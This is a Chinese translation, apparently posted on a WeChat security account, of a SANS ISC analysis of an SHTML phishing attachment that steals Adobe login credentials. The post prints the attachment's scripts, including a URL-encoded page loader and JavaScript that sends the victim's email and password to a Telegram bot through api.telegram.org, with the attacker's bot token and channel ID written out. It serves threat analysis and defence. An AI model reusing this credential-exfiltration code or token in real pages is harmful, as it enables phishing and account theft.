【翻译】网络钓鱼新手法:利用Telegram进行数据窃取

2024-10-30 16:22   重庆  

声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。


本文为翻译文章,需要阅读原文请访问:https://isc.sans.edu/diary/Selfcontained+HTML+phishing+attachment+using+Telegram+to+exfiltrate+stolen+credentials/31388


网络钓鱼攻击者早已发现,将HTML附件添加到他们发送的邮件中可以带来显著的好处。这种方法尤其有效,因为HTML文件可以包含完整的盗取凭证的网页,并且不需要通过互联网进行额外的请求,只需将受害者在登录表单中输入的凭证发送到攻击者控制的服务器。由于这种方法比简单地指向互联网上某个URL更为有效,发送包含完整凭证盗取页面的附件已变得相当普遍。

尽管网络威胁行为者多年来一直在对“self-contained HTML phishing attachment”这一公式进行各种实验,但我们仍然能遇到一些有趣或不寻常的HTML附件。最近,我在查看我们处理邮件箱中收到的钓鱼邮件时,发现了一个这样的附件。

这封包含附件的邮件看起来与其他钓鱼邮件并无二致,但附件却显得有些不同寻常。

该附加文件的扩展名为SHTML(这个扩展名可能是为了绕过寻找“.html”字符串的基本过滤而改变的),内容仅由三个脚本标签及其内容组成。

第一个脚本的目的是设置收件人的电子邮件地址:

<script>
    let zhe = [收件人的电子邮件地址];
</script>

第二个脚本包含了实际页面的URL编码主体,这个页面相对简单,只是用于显示一个密码提示的表单。

<script language="javascript">
document.write(unescape('%3C%68
...
%0A%20'));
</script>

第三个脚本实现了实际的凭证发送机制,令人感兴趣的是,这个脚本没有经过任何混淆处理。而且,它并不是将电子邮件和密码组合发送到攻击者控制的服务器,正如人们所期待的那样,而是将其发送到了一个Telegram频道。它通过简单的GET请求向api.telegram.org发送请求,代码片段如下:

<script type="text/javascript">
...
window.addEventListener('load', () => {
emailGrab.textContent = zhe;
});
let xyz = 6232213176; // Telegram频道ID
let yxz = '6274096448:AAFIuDO3z8WR4lglrmpW3RvReWlVaHQVYJ0'; // Bot令牌
function telegramApi(method, id, message) {
fetch(`https://api.telegram.org/bot${yxz}/${method}?chat_id=${id}&text=${message}&parse_mode=HTML`);
}
button.addEventListener('click', () => {
const results = `Adobe EmailAddress: ${emailGrab.textContent} Adobe Password: ${passInput.value}`;
if (passInput.value === '') {
alert('以下错误:密码为必填项');
} else {
telegramApi('sendMessage', xyz, results);
...
}
});
...
</script>

尽管网络威胁者使用Telegram并不是什么新鲜事,但我之前从未见过这种特定的钓鱼邮件组合,包含一个HTML附件以及一个基于JavaScript的凭证盗取页面,该页面将被盗凭证发送到Telegram频道。

虽然我相信这种方法在实际应用中并非首次出现,但这次活动提醒我们,如果一个组织没有对这些向量进行适当监控或彻底封锁(例如,通过DNS级或URL级过滤),那么Telegram和其他消息系统可以用于相对低可见度的数据外泄。

总结来说,网络安全的防护不仅需要关注传统的攻击方式,也要警惕新兴的攻击手法,确保对所有潜在的泄露渠道进行有效监控。


安全视安
欢迎关注我的公众号!在这里,我们汇集了三大主题:文学、情感与网络安全。
 最新文章